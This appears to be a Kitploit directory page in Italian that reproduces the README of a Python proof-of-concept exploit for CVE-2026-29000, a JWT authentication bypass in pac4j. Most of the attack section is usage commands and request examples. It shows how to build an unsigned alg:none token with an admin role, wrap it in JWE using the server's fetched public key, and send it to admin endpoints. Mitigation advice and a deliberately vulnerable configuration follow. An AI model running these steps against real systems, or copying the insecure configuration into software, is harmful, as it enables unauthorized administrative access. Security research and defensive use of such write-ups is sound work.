Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29000 — Python POC, Exploit per CVE-2026-29000 | Kitploit
Strumenti/GitHubGitHub/c0gnit00/cve-2026-29000
Autenticazione e AutorizzazioneGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCrittografiaPenetration TestingApprendimento e Formazione
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

Python POC, Exploit per CVE-2026-29000

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-29000: PoC di Bypass dell'Autenticazione JWT in pac4j

Prova di concetto per CVE-2026-29000 - Una vulnerabilità critica di bypass dell'autenticazione nell'implementazione JWT di pac4j che consente agli aggressori di falsificare token admin senza una firma valida.


⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ

Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'autore NON si assume alcuna responsabilità per qualsiasi uso improprio, danno o uso illegale di questo exploit.

  • L'accesso non autorizzato a sistemi informatici è ILLEGALE nella maggior parte delle giurisdizioni
  • Gli utenti devono ottenere esplicita autorizzazione scritta prima di testare
  • L'autore NON è responsabile per qualsiasi conseguenza derivante dall'uso improprio di questo strumento
  • Questo è uno strumento di ricerca sulla sicurezza e didattico - usalo in modo etico e legale

📋 Panoramica della Vulnerabilità

Questa vulnerabilità sfrutta un difetto nel meccanismo di autenticazione JWT di pac4j in cui la libreria:

  1. Accetta token non firmati con alg: "none" nell'header JWT
  2. Fida dei token JWE-wrapped senza convalidare correttamente la firma JWT interna
  3. Consente l'elevazione dei ruoli tramite claims personalizzate nel payload non firmato

Un aggressore può creare un JWT non firmato con claims arbitrari (come role: "ROLE_ADMIN"), crittografarlo in un contenitore JWE utilizzando la chiave pubblica del server e ottenere accesso non autorizzato alle funzionalità di amministrazione.


🎯 Prerequisiti per uno Sfruttamento di Successo

Requisiti Lato Server

Affinché questo exploit abbia successo, il server di destinazione deve soddisfare TUTTE le seguenti condizioni:

1. Endpoint JWKS Accessibile

Il server deve esporre le proprie chiavi pubbliche tramite uno di questi endpoint:

  • /.well-known/jwks.json (endpoint OAuth/OIDC standard)
  • /api/auth/jwks (endpoint personalizzato)

Perché: L'exploit recupera automaticamente la chiave pubblica del server per crittografare il token JWE falsificato.

2. Accettazione del Claim ROLE nel JWT

Il server deve:

  • Accettare e processare un claim role nel payload JWT
  • Avere almeno un livello di privilegio che concede accesso elevato (ad es., ROLE_ADMIN)
  • Non convalidare la firma JWT o consentire token non firmati

Ruoli Comuni:

  • ROLE_ADMIN - Accesso amministrativo completo
  • ROLE_USER - Accesso utente standard
  • Ruoli personalizzati a seconda dell'applicazione

3. Elaborazione del Token JWE

Il server deve:

  • Accettare token JWE (crittografati) come autenticazione valida
  • Decrittografare e processare il JWT interno non firmato
  • Non verificare la firma del JWT interno o controllare l'algoritmo

4. Configurazione vulnerabile di pac4j

L'applicazione deve utilizzare pac4j con:

  • Algoritmo impostato su "none" o convalida dell'algoritmo inadeguata
  • Crittografia JWE abilitata ma verifica della firma disabilitata sul JWT interno
  • Nessuna convalida aggiuntiva del token oltre alla decrittografia JWE

🛠️ Installazione

Requisiti

  • Python 3.7+
  • Pacchetti richiesti: requests, jwcrypto

Configurazione

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
jwcrypto>=1.4.0

🚀 Utilizzo

Utilizzo Base

root@kitploit:~
python3 exploit.py <TARGET_URL>

Esempio:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080

Lo script farà:

  1. Tentare di recuperare JWKS dagli endpoint standard
  2. Generare un JWT non firmato con role: "ROLE_ADMIN"
  3. Crittografarlo utilizzando la chiave pubblica del server
  4. Produrre un token JWE pronto per l'autenticazione

Opzioni Avanzate

Nome Utente Personalizzato

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --username john

Ruolo Personalizzato

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Fornire JWKS Manualmente

Se l'endpoint JWKS non è accessibile pubblicamente, fornisci il JWK manualmente:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Esempio Completo con Tutte le Opzioni

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 Utilizzare il Token Generato

L'exploit produce un token JWE nel formato seguente:

root@kitploit:~
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Effettuare Richieste Autenticate

Utilizza il token nelle richieste HTTP per accedere agli endpoint protetti:

root@kitploit:~
# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Usando requests di Python
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Esempio di Richiesta con Header di Autorizzazione

root@kitploit:~
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 Come Funziona l'Exploit

Passo 1: Creare un JWT Non Firmato

root@kitploit:~
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Nome utente
    "role": "ROLE_ADMIN",        # Livello di privilegio
    "iss": "principal-platform", # Emittente
    "iat": 1234567890,          # Emesso il
    "exp": 1234571490           # Scadenza (1 ora)
}

Il JWT viene creato senza firma (alg: "none"), che normalmente è invalido ma accettato dai server vulnerabili.

Passo 2: Recuperare il JWKS del Server

L'exploit interroga:

  1. /.well-known/jwks.json (endpoint OAuth/OIDC standard)
  2. /api/auth/jwks (endpoint personalizzato)

Questo recupera la chiave pubblica RSA del server necessaria per la crittografia.

Passo 3: Crittografare il JWT come JWE

Il JWT non firmato viene crittografato utilizzando:

  • Algoritmo: RSA-OAEP-256 (crittografia asimmetrica)
  • Crittografia: A128GCM (crittografia autenticata)
  • Chiave: Chiave pubblica del server (previene la manomissione)

Questo crea un token JWE che il server può decrittografare ma non verificherà la firma interna.

Passo 4: Utilizzare il Token

Il token JWE viene incluso nell'header Authorization:

root@kitploit:~
Authorization: Bearer <JWE_TOKEN>

Il server vulnerabile lo decrittografa ed estrae il JWT non firmato, fidandosi dei claims senza verificare la firma.


🔐 Catena della Vulnerabilità

root@kitploit:~
JWT non firmato (alg:none)
         ↓
  Avvolge in JWE (con chiave pubblica del server)
         ↓
  Il server riceve il token JWE
         ↓
  Il server decrittografa il JWE
         ↓
  Estrae il JWT interno non firmato
         ↓
  ❌ Il server NON verifica la firma
         ↓
  ✅ Accetta i claims come validi (role: ROLE_ADMIN)
         ↓
  L'aggressore ha accesso admin!

⚠️ Rilevamento e Indicatori

Indicatori Lato Server della Vulnerabilità

  1. Esposizione dell'Endpoint JWKS

    • Controllare se /.well-known/jwks.json o /api/auth/jwks sono accessibili pubblicamente
  2. Log di Convalida JWT

    • Cercare log che accettano token con alg: "none"
    • Avvisi su token non firmati accettati
  3. Revisione della Configurazione

    • Verificare se la verifica della firma di pac4j è disabilitata
    • Verificare le impostazioni di decrittografia JWE

Indicatori di Rete

root@kitploit:~
# Ricognizione
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Controllare se i token JWE sono accettati
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ Mitigazione e Rimedio

Per Sviluppatori che Usano pac4j

  1. Applicare la Verifica della Firma

    root@kitploit:~
    // ERRATO - Accetta token non firmati
    JwtAuthenticator jwt = new JwtAuthenticator();
    jwt.setAlgorithm(null); // ❌ Vulnerabile
    
    // CORRETTO - Richiede firma valida
    JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
    jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Sicuro
    
  2. Convalidare l'Algoritmo JWT

    • Non accettare mai alg: "none"
    • Whitelistare gli algoritmi consentiti (ad es., RS256, HS256)
    • Rifiutare token con algoritmi non corrispondenti
  3. Disabilitare JWE se Non Necessario

    • Se l'autenticazione richiede solo JWT, disabilitare il wrapping JWE
    • Se JWE è necessario, verificare la firma del JWT interno indipendentemente
  4. Aggiornare pac4j

    • Applicare le patch di sicurezza
    • Aggiornare a una versione con verifica della firma abilitata per impostazione predefinita
  5. Aggiungere Livelli di Convalida dei Token

    • Convalidare la scadenza del token (claim exp)
    • Verificare l'emittente (claim iss)
    • Confrontare i ruoli con un database affidabile

Per Amministratori di Sistema

  1. Limitare l'Accesso all'Endpoint JWKS

    root@kitploit:~
    location /.well-known/jwks.json {
        allow 10.0.0.0/8;  # Solo reti interne
        deny all;
    }
    
  2. Monitorare i Log di Autenticazione

    • Avvisare su token con alg: "none"
    • Segnalare assegnazioni di ruoli admin da fonti inaspettate
  3. Segmentazione della Rete

    • Isolare i server di autenticazione
    • Limitare l'endpoint JWKS ai client autorizzati
  4. Audit di Sicurezza Regolari

    • Revisionare le configurazioni di pac4j
    • Testare i meccanismi di autenticazione con penetration test

📊 Ambiente di Test

Esempio di Configurazione Vulnerabile

root@kitploit:~
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERABILE: Nessuna verifica della firma
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accetta JWE ma non verifica il JWT interno
        return new JWEEncrypter();
    }
}

📚 Riferimenti

  • CVE ID: CVE-2026-29000
  • Libreria Interessata: pac4j (modulo JWT)
  • Vettore di Attacco: Bypass dell'autenticazione tramite JWT non firmato + crittografia JWE
  • Punteggio CVSS: 9.8 (Critico)

Risorse Correlate

  • pac4j GitHub Repository
  • Migliori Pratiche JWT
  • OWASP JWT Cheat Sheet

⚖️ Dichiarazione di Non Responsabilità Legale

Questo exploit è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.

L'accesso non autorizzato a sistemi informatici è illegale. Questo strumento dovrebbe essere utilizzato solo su:

  • Sistemi di tua proprietà
  • Sistemi con esplicita autorizzazione scritta
  • Impegni di penetration testing autorizzati

Gli autori non sono responsabili per l'uso improprio o i danni causati da questo strumento.


📝 Licenza

Licenza MIT - Consultare il file LICENSE per i dettagli


👥 Contributi

Trovato un bug? Hai miglioramenti?

  1. Fork del repository
  2. Crea un branch di funzionalità (git checkout -b feature/improvement)
  3. Esegui il commit delle modifiche (git commit -m 'Add improvement')
  4. Invia il branch (git push origin feature/improvement)
  5. Apri una Pull Request

📞 Supporto

Per problemi, domande o suggerimenti:

  • Apri un issue su GitHub
  • Includi la versione target di pac4j
  • Allega log e configurazioni pertinenti

Ultimo Aggiornamento: Maggio 2026
Autore: Team di Ricerca sulla Sicurezza
Stato: PoC Educativo

Scarica lo strumento